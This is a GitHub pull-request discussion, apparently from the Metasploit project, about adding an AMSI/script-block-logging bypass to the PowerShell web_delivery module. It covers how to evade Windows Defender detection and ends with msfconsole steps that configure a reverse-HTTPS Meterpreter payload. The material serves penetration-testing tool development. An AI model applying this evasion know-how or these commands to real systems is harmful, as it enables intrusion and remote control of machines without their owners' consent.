-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add support for AMSI/SBL bypass to PSH web_delivery #12446
Conversation
Looks good and the bypass is included in web_delivery. Is there an easy way of testing the effect on AMSI? It seems to work the same way before and after this change. |
Just to be clear I'm testing on Windows 10 x64, I think the Windows defender signatures were last updated in August. With Windows defender real time protection enabled web_delivery is detected as "TrojanDropper:PowerShell/Ploty.C" (perhaps because of the base64/gzip encoding?) both before and after this change. |
yeah i noticed too that recently something was changed with defender. i spent 5 hours yesterday implementing a launcher for the web delivery a là empire to then discover that something was detected in the randomcase version of the amsi bypass. however i found already a way to bypass it again but i think that we would need to ship the amsi bypass as first stage before any other code. it would be easy to attach it to the launcher command generated by the web delivery but atm the stager generated at the first request invokes powershell.exe again, making useless any prior bypass. i ended up digging into obfuscating the amsi bypass and prepending it to the stage2 but amsi was flagging some random case keywords.. the only way to make it work is to ship the amsi bypass alone at the beginning:
stage1 and stage2 must be executed separately, in the same powershell process, in this order. any idea how to ship separately the amsi bypass and/or how to disable the nested powershell.exe invocation? |
I think that's the technique used in unicorn: https://github.com/trustedsec/unicorn which bypasses AMSI for me (although meterpreter itself is still detected). |
Please see: phra/rex-powershell#2 |
@timwr i am going to check this PR in the following days, sorry for the delay. |
@timwr LGTM. i fixed something and now it's fully working for me. can you try it too? thanks. (requires rapid7/rex-powershell#19) |
i noticed that amsi/sbl bypass + msf stager, when |
|
fyi this works great with both encode_final_payload as true and false with Windows defender enabled and updated. |
Since `Powershell::encode_final_payload` and `Powershell::encode_inner_payload` are already used in `cmd_psh_payload`, so it's better to have a dedicated option for the encoded launcher.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
LGTM.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This is looking good. I will merge this next week unless anyone can spot any breakages.
remove unnecessary override
Awesome! |
Release NotesThis change adds support for a powershell AMSI bypass which enables the web_delivery module to bypass Windows defender on Windows 10. |
|
Related to rapid7/rex-powershell#17
Requires rapid7/rex-powershell#19
Verification
List the steps needed to make sure this thing works
msfconsole
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_https
set LHOST ...
set SSL true
exploit -j
Example of generated command: